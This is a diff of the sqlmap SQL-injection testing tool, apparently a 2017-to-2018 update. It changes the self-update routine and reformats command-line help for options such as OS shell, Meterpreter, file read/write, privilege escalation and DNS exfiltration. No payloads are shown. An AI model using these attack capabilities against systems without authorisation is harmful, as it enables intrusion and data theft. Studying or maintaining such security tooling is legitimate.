See the file 'LICENSE' for copying permission
"""

View File

@@ -1,25 +1,34 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import locale
import glob
import os
import re
import shutil
import subprocess
import sys
import time
import urllib
import zipfile
from lib.core.common import dataToStdout
from lib.core.common import getSafeExString
from lib.core.common import getLatestRevision
from lib.core.common import pollProcess
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import logger
from lib.core.data import paths
from lib.core.revision import getRevisionNumber
from lib.core.settings import GIT_REPOSITORY
from lib.core.settings import IS_WIN
from lib.core.settings import VERSION
from lib.core.settings import ZIPBALL_PAGE
from lib.core.settings import UNICODE_ENCODING
def update():
if not conf.updateAll:
@@ -28,11 +37,66 @@ def update():
success = False
if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
errMsg = "not a git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
logger.error(errMsg)
warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository "
warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
logger.warn(warnMsg)
if VERSION == getLatestRevision():
logger.info("already at the latest revision '%s'" % getRevisionNumber())
return
message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"
if readInput(message, default='N', boolean=True):
directory = os.path.abspath(paths.SQLMAP_ROOT_PATH)
try:
open(os.path.join(directory, "sqlmap.py"), "w+b")
except Exception, ex:
errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex))
logger.error(errMsg)
else:
attrs = os.stat(os.path.join(directory, "sqlmap.py")).st_mode
for wildcard in ('*', ".*"):
for _ in glob.glob(os.path.join(directory, wildcard)):
try:
if os.path.isdir(_):
shutil.rmtree(_)
else:
os.remove(_)
except:
pass
if glob.glob(os.path.join(directory, '*')):
errMsg = "unable to clear the content of directory '%s'" % directory
logger.error(errMsg)
else:
try:
archive = urllib.urlretrieve(ZIPBALL_PAGE)[0]
with zipfile.ZipFile(archive) as f:
for info in f.infolist():
info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename)
if info.filename:
f.extract(info, directory)
filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
if os.path.isfile(filepath):
with open(filepath, "rb") as f:
version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1)
logger.info("updated to the latest version '%s#dev'" % version)
success = True
except Exception, ex:
logger.error("update could not be completed ('%s')" % getSafeExString(ex))
else:
if not success:
logger.error("update could not be completed")
else:
try:
os.chmod(os.path.join(directory, "sqlmap.py"), attrs)
except OSError:
logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py"))
else:
infoMsg = "updating sqlmap to the latest development version from the "
infoMsg = "updating sqlmap to the latest development revision from the "
infoMsg += "GitHub repository"
logger.info(infoMsg)
@@ -42,7 +106,7 @@ def update():
dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X"))
try:
process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(locale.getpreferredencoding())) # Reference: http://blog.stastnarodina.com/honza-en/spot/python-unicodeencodeerror/
process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
pollProcess(process, True)
stdout, stderr = process.communicate()
success = not process.returncode
@@ -55,7 +119,7 @@ def update():
else:
if "Not a git repository" in stderr:
errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
logger.error(errMsg)
else:
logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip())
@@ -68,7 +132,7 @@ def update():
infoMsg += "download the latest snapshot from "
infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
else:
infoMsg = "for Linux platform it's required "
infoMsg = "for Linux platform it's recommended "
infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"
logger.info(infoMsg)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -47,7 +47,7 @@ class Wordlist(object):
errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
raise SqlmapInstallationException(errMsg)
if len(_.namelist()) == 0:
errMsg = "no file(s) inside '%s'" % self.current
raise SqlmapDataException(errMsg)
@@ -73,7 +73,7 @@ class Wordlist(object):
errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
raise SqlmapInstallationException(errMsg)
except StopIteration:
self.adjust()
retVal = self.iter.next().rstrip()

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -50,9 +50,7 @@ def cmdLineParser(argv=None):
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
_ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding)
usage = "%s%s [options]" % ("python " if not IS_WIN else "", \
"\"%s\"" % _ if " " in _ else _)
usage = "%s%s [options]" % ("python " if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _)
parser = OptionParser(usage=usage)
try:
@@ -101,29 +99,27 @@ def cmdLineParser(argv=None):
help="Force usage of given HTTP method (e.g. PUT)")
request.add_option("--data", dest="data",
help="Data string to be sent through POST")
help="Data string to be sent through POST (e.g. \"id=1\")")
request.add_option("--param-del", dest="paramDel",
help="Character used for splitting parameter values")
help="Character used for splitting parameter values (e.g. &)")
request.add_option("--cookie", dest="cookie",
help="HTTP Cookie header value")
help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")")
request.add_option("--cookie-del", dest="cookieDel",
help="Character used for splitting cookie values")
help="Character used for splitting cookie values (e.g. ;)")
request.add_option("--load-cookies", dest="loadCookies",
help="File containing cookies in Netscape/wget format")
request.add_option("--drop-set-cookie", dest="dropSetCookie",
action="store_true",
request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true",
help="Ignore Set-Cookie header from response")
request.add_option("--user-agent", dest="agent",
help="HTTP User-Agent header value")
request.add_option("--random-agent", dest="randomAgent",
action="store_true",
request.add_option("--random-agent", dest="randomAgent", action="store_true",
help="Use randomly selected HTTP User-Agent header value")
request.add_option("--host", dest="host",
@@ -139,62 +135,55 @@ def cmdLineParser(argv=None):
help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
request.add_option("--auth-type", dest="authType",
help="HTTP authentication type "
"(Basic, Digest, NTLM or PKI)")
help="HTTP authentication type (Basic, Digest, NTLM or PKI)")
request.add_option("--auth-cred", dest="authCred",
help="HTTP authentication credentials "
"(name:password)")
help="HTTP authentication credentials (name:password)")
request.add_option("--auth-file", dest="authFile",
help="HTTP authentication PEM cert/private key file")
request.add_option("--ignore-code", dest="ignoreCode", type="int",
help="Ignore HTTP error code (e.g. 401)")
help="Ignore (problematic) HTTP error code (e.g. 401)")
request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
help="Ignore system default proxy settings")
request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true",
help="Ignore redirection attempts")
help="Ignore redirection attempts")
request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true",
help="Ignore connection timeouts")
help="Ignore connection timeouts")
request.add_option("--proxy", dest="proxy",
help="Use a proxy to connect to the target URL")
request.add_option("--proxy-cred", dest="proxyCred",
help="Proxy authentication credentials "
"(name:password)")
help="Proxy authentication credentials (name:password)")
request.add_option("--proxy-file", dest="proxyFile",
help="Load proxy list from a file")
request.add_option("--tor", dest="tor",
action="store_true",
help="Use Tor anonymity network")
request.add_option("--tor", dest="tor", action="store_true",
help="Use Tor anonymity network")
request.add_option("--tor-port", dest="torPort",
help="Set Tor proxy port other than default")
help="Set Tor proxy port other than default")
request.add_option("--tor-type", dest="torType",
help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")
help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")
request.add_option("--check-tor", dest="checkTor",
action="store_true",
help="Check to see if Tor is used properly")
request.add_option("--check-tor", dest="checkTor", action="store_true",
help="Check to see if Tor is used properly")
request.add_option("--delay", dest="delay", type="float",
help="Delay in seconds between each HTTP request")
request.add_option("--timeout", dest="timeout", type="float",
help="Seconds to wait before timeout connection "
"(default %d)" % defaults.timeout)
help="Seconds to wait before timeout connection (default %d)" % defaults.timeout)
request.add_option("--retries", dest="retries", type="int",
help="Retries when the connection timeouts "
"(default %d)" % defaults.retries)
help="Retries when the connection timeouts (default %d)" % defaults.retries)
request.add_option("--randomize", dest="rParam",
help="Randomly change value for given parameter(s)")
@@ -211,54 +200,45 @@ def cmdLineParser(argv=None):
request.add_option("--safe-freq", dest="safeFreq", type="int",
help="Test requests between two visits to a given safe URL")
request.add_option("--skip-urlencode", dest="skipUrlEncode",
action="store_true",
request.add_option("--skip-urlencode", dest="skipUrlEncode", action="store_true",
help="Skip URL encoding of payload data")
request.add_option("--csrf-token", dest="csrfToken",
help="Parameter used to hold anti-CSRF token")
request.add_option("--csrf-url", dest="csrfUrl",
help="URL address to visit to extract anti-CSRF token")
help="URL address to visit for extraction of anti-CSRF token")
request.add_option("--force-ssl", dest="forceSSL",
action="store_true",
request.add_option("--force-ssl", dest="forceSSL", action="store_true",
help="Force usage of SSL/HTTPS")
request.add_option("--hpp", dest="hpp",
action="store_true",
help="Use HTTP parameter pollution method")
request.add_option("--hpp", dest="hpp", action="store_true",
help="Use HTTP parameter pollution method")
request.add_option("--eval", dest="evalCode",
help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")")
# Optimization options
optimization = OptionGroup(parser, "Optimization", "These "
"options can be used to optimize the "
"performance of sqlmap")
optimization = OptionGroup(parser, "Optimization", "These options can be used to optimize the performance of sqlmap")
optimization.add_option("-o", dest="optimize",
action="store_true",
help="Turn on all optimization switches")
optimization.add_option("-o", dest="optimize", action="store_true",
help="Turn on all optimization switches")
optimization.add_option("--predict-output", dest="predictOutput", action="store_true",
help="Predict common queries output")
help="Predict common queries output")
optimization.add_option("--keep-alive", dest="keepAlive", action="store_true",
help="Use persistent HTTP(s) connections")
help="Use persistent HTTP(s) connections")
optimization.add_option("--null-connection", dest="nullConnection", action="store_true",
help="Retrieve page length without actual HTTP response body")
help="Retrieve page length without actual HTTP response body")
optimization.add_option("--threads", dest="threads", type="int",
help="Max number of concurrent HTTP(s) "
help="Max number of concurrent HTTP(s) "
"requests (default %d)" % defaults.threads)
# Injection options
injection = OptionGroup(parser, "Injection", "These options can be "
"used to specify which parameters to test "
"for, provide custom injection payloads and "
"optional tampering scripts")
injection = OptionGroup(parser, "Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts")
injection.add_option("-p", dest="testParameter",
help="Testable parameter(s)")
@@ -270,36 +250,30 @@ def cmdLineParser(argv=None):
help="Skip testing parameters that not appear to be dynamic")
injection.add_option("--param-exclude", dest="paramExclude",
help="Regexp to exclude parameters from testing (e.g. \"ses\")")
help="Regexp to exclude parameters from testing (e.g. \"ses\")")
injection.add_option("--dbms", dest="dbms",
help="Force back-end DBMS to this value")
help="Force back-end DBMS to provided value")
injection.add_option("--dbms-cred", dest="dbmsCred",
help="DBMS authentication credentials (user:password)")
help="DBMS authentication credentials (user:password)")
injection.add_option("--os", dest="os",
help="Force back-end DBMS operating system "
"to this value")
help="Force back-end DBMS operating system to provided value")
injection.add_option("--invalid-bignum", dest="invalidBignum",
action="store_true",
injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true",
help="Use big numbers for invalidating values")
injection.add_option("--invalid-logical", dest="invalidLogical",
action="store_true",
injection.add_option("--invalid-logical", dest="invalidLogical", action="store_true",
help="Use logical operations for invalidating values")
injection.add_option("--invalid-string", dest="invalidString",
action="store_true",
injection.add_option("--invalid-string", dest="invalidString", action="store_true",
help="Use random strings for invalidating values")
injection.add_option("--no-cast", dest="noCast",
action="store_true",
injection.add_option("--no-cast", dest="noCast", action="store_true",
help="Turn off payload casting mechanism")
injection.add_option("--no-escape", dest="noEscape",
action="store_true",
injection.add_option("--no-escape", dest="noEscape", action="store_true",
help="Turn off string escaping mechanism")
injection.add_option("--prefix", dest="prefix",
@@ -312,54 +286,40 @@ def cmdLineParser(argv=None):
help="Use given script(s) for tampering injection data")
# Detection options
detection = OptionGroup(parser, "Detection", "These options can be "
"used to customize the detection phase")
detection = OptionGroup(parser, "Detection", "These options can be used to customize the detection phase")
detection.add_option("--level", dest="level", type="int",
help="Level of tests to perform (1-5, "
"default %d)" % defaults.level)
help="Level of tests to perform (1-5, default %d)" % defaults.level)
detection.add_option("--risk", dest="risk", type="int",
help="Risk of tests to perform (1-3, "
"default %d)" % defaults.risk)
help="Risk of tests to perform (1-3, default %d)" % defaults.risk)
detection.add_option("--string", dest="string",
help="String to match when "
"query is evaluated to True")
help="String to match when query is evaluated to True")
detection.add_option("--not-string", dest="notString",
help="String to match when "
"query is evaluated to False")
help="String to match when query is evaluated to False")
detection.add_option("--regexp", dest="regexp",
help="Regexp to match when "
"query is evaluated to True")
help="Regexp to match when query is evaluated to True")
detection.add_option("--code", dest="code", type="int",
help="HTTP code to match when "
"query is evaluated to True")
help="HTTP code to match when query is evaluated to True")
detection.add_option("--text-only", dest="textOnly",
action="store_true",
detection.add_option("--text-only", dest="textOnly", action="store_true",
help="Compare pages based only on the textual content")
detection.add_option("--titles", dest="titles",
action="store_true",
detection.add_option("--titles", dest="titles", action="store_true",
help="Compare pages based only on their titles")
# Techniques options
techniques = OptionGroup(parser, "Techniques", "These options can be "
"used to tweak testing of specific SQL "
"injection techniques")
techniques = OptionGroup(parser, "Techniques", "These options can be used to tweak testing of specific SQL injection techniques")
techniques.add_option("--technique", dest="tech",
help="SQL injection techniques to use "
"(default \"%s\")" % defaults.tech)
help="SQL injection techniques to use (default \"%s\")" % defaults.tech)
techniques.add_option("--time-sec", dest="timeSec",
type="int",
help="Seconds to delay the DBMS response "
"(default %d)" % defaults.timeSec)
techniques.add_option("--time-sec", dest="timeSec", type="int",
help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec)
techniques.add_option("--union-cols", dest="uCols",
help="Range of columns to test for UNION query SQL injection")
@@ -373,59 +333,49 @@ def cmdLineParser(argv=None):
techniques.add_option("--dns-domain", dest="dnsDomain",
help="Domain name used for DNS exfiltration attack")
techniques.add_option("--second-order", dest="secondOrder",
help="Resulting page URL searched for second-order "
"response")
techniques.add_option("--second-url", dest="secondUrl",
help="Resulting page URL searched for second-order response")
techniques.add_option("--second-req", dest="secondReq",
help="Load second-order HTTP request from file")
# Fingerprint options
fingerprint = OptionGroup(parser, "Fingerprint")
fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
action="store_true",
fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", action="store_true",
help="Perform an extensive DBMS version fingerprint")
# Enumeration options
enumeration = OptionGroup(parser, "Enumeration", "These options can "
"be used to enumerate the back-end database "
"management system information, structure "
"and data contained in the tables. Moreover "
"you can run your own SQL statements")
enumeration = OptionGroup(parser, "Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements")
enumeration.add_option("-a", "--all", dest="getAll",
action="store_true", help="Retrieve everything")
enumeration.add_option("-a", "--all", dest="getAll", action="store_true",
help="Retrieve everything")
enumeration.add_option("-b", "--banner", dest="getBanner",
action="store_true", help="Retrieve DBMS banner")
enumeration.add_option("-b", "--banner", dest="getBanner", action="store_true",
help="Retrieve DBMS banner")
enumeration.add_option("--current-user", dest="getCurrentUser",
action="store_true",
enumeration.add_option("--current-user", dest="getCurrentUser", action="store_true",
help="Retrieve DBMS current user")
enumeration.add_option("--current-db", dest="getCurrentDb",
action="store_true",
enumeration.add_option("--current-db", dest="getCurrentDb", action="store_true",
help="Retrieve DBMS current database")
enumeration.add_option("--hostname", dest="getHostname",
action="store_true",
enumeration.add_option("--hostname", dest="getHostname", action="store_true",
help="Retrieve DBMS server hostname")
enumeration.add_option("--is-dba", dest="isDba",
action="store_true",
enumeration.add_option("--is-dba", dest="isDba", action="store_true",
help="Detect if the DBMS current user is DBA")
enumeration.add_option("--users", dest="getUsers", action="store_true",
help="Enumerate DBMS users")
enumeration.add_option("--passwords", dest="getPasswordHashes",
action="store_true",
enumeration.add_option("--passwords", dest="getPasswordHashes", action="store_true",
help="Enumerate DBMS users password hashes")
enumeration.add_option("--privileges", dest="getPrivileges",
action="store_true",
enumeration.add_option("--privileges", dest="getPrivileges", action="store_true",
help="Enumerate DBMS users privileges")
enumeration.add_option("--roles", dest="getRoles",
action="store_true",
enumeration.add_option("--roles", dest="getRoles", action="store_true",
help="Enumerate DBMS users roles")
enumeration.add_option("--dbs", dest="getDbs", action="store_true",
@@ -453,7 +403,7 @@ def cmdLineParser(argv=None):
help="Search column(s), table(s) and/or database name(s)")
enumeration.add_option("--comments", dest="getComments", action="store_true",
help="Retrieve DBMS comments")
help="Check for DBMS comments during enumeration")
enumeration.add_option("-D", dest="db",
help="DBMS database to enumerate")
@@ -464,16 +414,14 @@ def cmdLineParser(argv=None):
enumeration.add_option("-C", dest="col",
help="DBMS database table column(s) to enumerate")
enumeration.add_option("-X", dest="excludeCol",
help="DBMS database table column(s) to not enumerate")
enumeration.add_option("-X", dest="exclude",
help="DBMS database identifier(s) to not enumerate")
enumeration.add_option("-U", dest="user",
help="DBMS user to enumerate")
enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs",
action="store_true",
help="Exclude DBMS system databases when "
"enumerating tables")
enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", action="store_true",
help="Exclude DBMS system databases when enumerating tables")
enumeration.add_option("--pivot-column", dest="pivotColumn",
help="Pivot column name")
@@ -496,28 +444,23 @@ def cmdLineParser(argv=None):
enumeration.add_option("--sql-query", dest="query",
help="SQL statement to be executed")
enumeration.add_option("--sql-shell", dest="sqlShell",
action="store_true",
enumeration.add_option("--sql-shell", dest="sqlShell", action="store_true",
help="Prompt for an interactive SQL shell")
enumeration.add_option("--sql-file", dest="sqlFile",
help="Execute SQL statements from given file(s)")
# Brute force options
brute = OptionGroup(parser, "Brute force", "These "
"options can be used to run brute force "
"checks")
brute = OptionGroup(parser, "Brute force", "These options can be used to run brute force checks")
brute.add_option("--common-tables", dest="commonTables", action="store_true",
help="Check existence of common tables")
help="Check existence of common tables")
brute.add_option("--common-columns", dest="commonColumns", action="store_true",
help="Check existence of common columns")
help="Check existence of common columns")
# User-defined function options
udf = OptionGroup(parser, "User-defined function injection", "These "
"options can be used to create custom user-defined "
"functions")
udf = OptionGroup(parser, "User-defined function injection", "These options can be used to create custom user-defined functions")
udf.add_option("--udf-inject", dest="udfInject", action="store_true",
help="Inject custom user-defined functions")
@@ -526,167 +469,131 @@ def cmdLineParser(argv=None):
help="Local path of the shared library")
# File system options
filesystem = OptionGroup(parser, "File system access", "These options "
"can be used to access the back-end database "
"management system underlying file system")
filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system")
filesystem.add_option("--file-read", dest="rFile",
help="Read a file from the back-end DBMS "
"file system")
filesystem.add_option("--file-read", dest="fileRead",
help="Read a file from the back-end DBMS file system")
filesystem.add_option("--file-write", dest="wFile",
help="Write a local file on the back-end "
"DBMS file system")
filesystem.add_option("--file-write", dest="fileWrite",
help="Write a local file on the back-end DBMS file system")
filesystem.add_option("--file-dest", dest="dFile",
help="Back-end DBMS absolute filepath to "
"write to")
filesystem.add_option("--file-dest", dest="fileDest",
help="Back-end DBMS absolute filepath to write to")
# Takeover options
takeover = OptionGroup(parser, "Operating system access", "These "
"options can be used to access the back-end "
"database management system underlying "
"operating system")
takeover = OptionGroup(parser, "Operating system access", "These options can be used to access the back-end database management system underlying operating system")
takeover.add_option("--os-cmd", dest="osCmd",
help="Execute an operating system command")
takeover.add_option("--os-shell", dest="osShell",
action="store_true",
help="Prompt for an interactive operating "
"system shell")
takeover.add_option("--os-shell", dest="osShell", action="store_true",
help="Prompt for an interactive operating system shell")
takeover.add_option("--os-pwn", dest="osPwn",
action="store_true",
help="Prompt for an OOB shell, "
"Meterpreter or VNC")
takeover.add_option("--os-pwn", dest="osPwn", action="store_true",
help="Prompt for an OOB shell, Meterpreter or VNC")
takeover.add_option("--os-smbrelay", dest="osSmb",
action="store_true",
help="One click prompt for an OOB shell, "
"Meterpreter or VNC")
takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true",
help="One click prompt for an OOB shell, Meterpreter or VNC")
takeover.add_option("--os-bof", dest="osBof",
action="store_true",
takeover.add_option("--os-bof", dest="osBof", action="store_true",
help="Stored procedure buffer overflow "
"exploitation")
takeover.add_option("--priv-esc", dest="privEsc",
action="store_true",
takeover.add_option("--priv-esc", dest="privEsc", action="store_true",
help="Database process user privilege escalation")
takeover.add_option("--msf-path", dest="msfPath",
help="Local path where Metasploit Framework "
"is installed")
help="Local path where Metasploit Framework is installed")
takeover.add_option("--tmp-path", dest="tmpPath",
help="Remote absolute path of temporary files "
"directory")
help="Remote absolute path of temporary files directory")
# Windows registry options
windows = OptionGroup(parser, "Windows registry access", "These "
"options can be used to access the back-end "
"database management system Windows "
"registry")
windows = OptionGroup(parser, "Windows registry access", "These options can be used to access the back-end database management system Windows registry")
windows.add_option("--reg-read", dest="regRead",
action="store_true",
help="Read a Windows registry key value")
windows.add_option("--reg-read", dest="regRead", action="store_true",
help="Read a Windows registry key value")
windows.add_option("--reg-add", dest="regAdd",
action="store_true",
help="Write a Windows registry key value data")
windows.add_option("--reg-add", dest="regAdd", action="store_true",
help="Write a Windows registry key value data")
windows.add_option("--reg-del", dest="regDel",
action="store_true",
help="Delete a Windows registry key value")
windows.add_option("--reg-del", dest="regDel", action="store_true",
help="Delete a Windows registry key value")
windows.add_option("--reg-key", dest="regKey",
help="Windows registry key")
help="Windows registry key")
windows.add_option("--reg-value", dest="regVal",
help="Windows registry key value")
help="Windows registry key value")
windows.add_option("--reg-data", dest="regData",
help="Windows registry key value data")
help="Windows registry key value data")
windows.add_option("--reg-type", dest="regType",
help="Windows registry key value type")
help="Windows registry key value type")
# General options
general = OptionGroup(parser, "General", "These options can be used "
"to set some general working parameters")
general = OptionGroup(parser, "General", "These options can be used to set some general working parameters")
general.add_option("-s", dest="sessionFile",
help="Load session from a stored (.sqlite) file")
help="Load session from a stored (.sqlite) file")
general.add_option("-t", dest="trafficFile",
help="Log all HTTP traffic into a "
"textual file")
help="Log all HTTP traffic into a textual file")
general.add_option("--batch", dest="batch",
action="store_true",
help="Never ask for user input, use the default behaviour")
general.add_option("--batch", dest="batch", action="store_true",
help="Never ask for user input, use the default behavior")
general.add_option("--binary-fields", dest="binaryFields",
help="Result fields having binary values (e.g. \"digest\")")
help="Result fields having binary values (e.g. \"digest\")")
general.add_option("--check-internet", dest="checkInternet",
action="store_true",
help="Check Internet connection before assessing the target")
general.add_option("--check-internet", dest="checkInternet", action="store_true",
help="Check Internet connection before assessing the target")
general.add_option("--crawl", dest="crawlDepth", type="int",
help="Crawl the website starting from the target URL")
help="Crawl the website starting from the target URL")
general.add_option("--crawl-exclude", dest="crawlExclude",
help="Regexp to exclude pages from crawling (e.g. \"logout\")")
general.add_option("--csv-del", dest="csvDel",
help="Delimiting character used in CSV output "
"(default \"%s\")" % defaults.csvDel)
help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel)
general.add_option("--charset", dest="charset",
help="Blind SQL injection charset (e.g. \"0123456789abcdef\")")
general.add_option("--dump-format", dest="dumpFormat",
help="Format of dumped data (CSV (default), HTML or SQLITE)")
help="Format of dumped data (CSV (default), HTML or SQLITE)")
general.add_option("--encoding", dest="encoding",
help="Character encoding used for data retrieval (e.g. GBK)")
help="Character encoding used for data retrieval (e.g. GBK)")
general.add_option("--eta", dest="eta",
action="store_true",
help="Display for each output the estimated time of arrival")
general.add_option("--eta", dest="eta", action="store_true",
help="Display for each output the estimated time of arrival")
general.add_option("--flush-session", dest="flushSession",
action="store_true",
help="Flush session files for current target")
general.add_option("--flush-session", dest="flushSession", action="store_true",
help="Flush session files for current target")
general.add_option("--forms", dest="forms",
action="store_true",
help="Parse and test forms on target URL")
general.add_option("--forms", dest="forms", action="store_true",
help="Parse and test forms on target URL")
general.add_option("--fresh-queries", dest="freshQueries",
action="store_true",
help="Ignore query results stored in session file")
general.add_option("--fresh-queries", dest="freshQueries", action="store_true",
help="Ignore query results stored in session file")
general.add_option("--har", dest="harFile",
help="Log all HTTP traffic into a HAR file")
general.add_option("--hex", dest="hexConvert",
action="store_true",
help="Use DBMS hex function(s) for data retrieval")
general.add_option("--hex", dest="hexConvert", action="store_true",
help="Use hex conversion during data retrieval")
general.add_option("--output-dir", dest="outputDir",
action="store",
help="Custom output directory path")
general.add_option("--output-dir", dest="outputDir", action="store",
help="Custom output directory path")
general.add_option("--parse-errors", dest="parseErrors",
action="store_true",
help="Parse and display DBMS error messages from responses")
general.add_option("--parse-errors", dest="parseErrors", action="store_true",
help="Parse and display DBMS error messages from responses")
general.add_option("--save", dest="saveConfig",
help="Save options to a configuration INI file")
help="Save options to a configuration INI file")
general.add_option("--scope", dest="scope",
help="Regexp to filter targets from provided proxy log")
@@ -697,77 +604,68 @@ def cmdLineParser(argv=None):
general.add_option("--test-skip", dest="testSkip",
help="Skip tests by payloads and/or titles (e.g. BENCHMARK)")
general.add_option("--update", dest="updateAll",
action="store_true",
help="Update sqlmap")
general.add_option("--update", dest="updateAll", action="store_true",
help="Update sqlmap")
# Miscellaneous options
miscellaneous = OptionGroup(parser, "Miscellaneous")
miscellaneous.add_option("-z", dest="mnemonics",
help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")
help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")
miscellaneous.add_option("--alert", dest="alert",
help="Run host OS command(s) when SQL injection is found")
help="Run host OS command(s) when SQL injection is found")
miscellaneous.add_option("--answers", dest="answers",
help="Set question answers (e.g. \"quit=N,follow=N\")")
help="Set predefined answers (e.g. \"quit=N,follow=N\")")
miscellaneous.add_option("--beep", dest="beep", action="store_true",
help="Beep on question and/or when SQL injection is found")
help="Beep on question and/or when SQL injection is found")
miscellaneous.add_option("--cleanup", dest="cleanup",
action="store_true",
help="Clean up the DBMS from sqlmap specific "
"UDF and tables")
miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true",
help="Clean up the DBMS from sqlmap specific UDF and tables")
miscellaneous.add_option("--dependencies", dest="dependencies",
action="store_true",
help="Check for missing (non-core) sqlmap dependencies")
miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true",
help="Check for missing (optional) sqlmap dependencies")
miscellaneous.add_option("--disable-coloring", dest="disableColoring",
action="store_true",
help="Disable console output coloring")
miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true",
help="Disable console output coloring")
miscellaneous.add_option("--gpage", dest="googlePage", type="int",
help="Use Google dork results from specified page number")
help="Use Google dork results from specified page number")
miscellaneous.add_option("--identify-waf", dest="identifyWaf",
action="store_true",
help="Make a thorough testing for a WAF/IPS/IDS protection")
miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true",
help="Make a thorough testing for a WAF/IPS protection")
miscellaneous.add_option("--mobile", dest="mobile",
action="store_true",
help="Imitate smartphone through HTTP User-Agent header")
miscellaneous.add_option("--list-tampers", dest="listTampers", action="store_true",
help="Display list of available tamper scripts")
miscellaneous.add_option("--offline", dest="offline",
action="store_true",
help="Work in offline mode (only use session data)")
miscellaneous.add_option("--mobile", dest="mobile", action="store_true",
help="Imitate smartphone through HTTP User-Agent header")
miscellaneous.add_option("--purge-output", dest="purgeOutput",
action="store_true",
help="Safely remove all content from output directory")
miscellaneous.add_option("--offline", dest="offline", action="store_true",
help="Work in offline mode (only use session data)")
miscellaneous.add_option("--skip-waf", dest="skipWaf",
action="store_true",
help="Skip heuristic detection of WAF/IPS/IDS protection")
miscellaneous.add_option("--purge", dest="purge", action="store_true",
help="Safely remove all content from sqlmap data directory")
miscellaneous.add_option("--smart", dest="smart",
action="store_true",
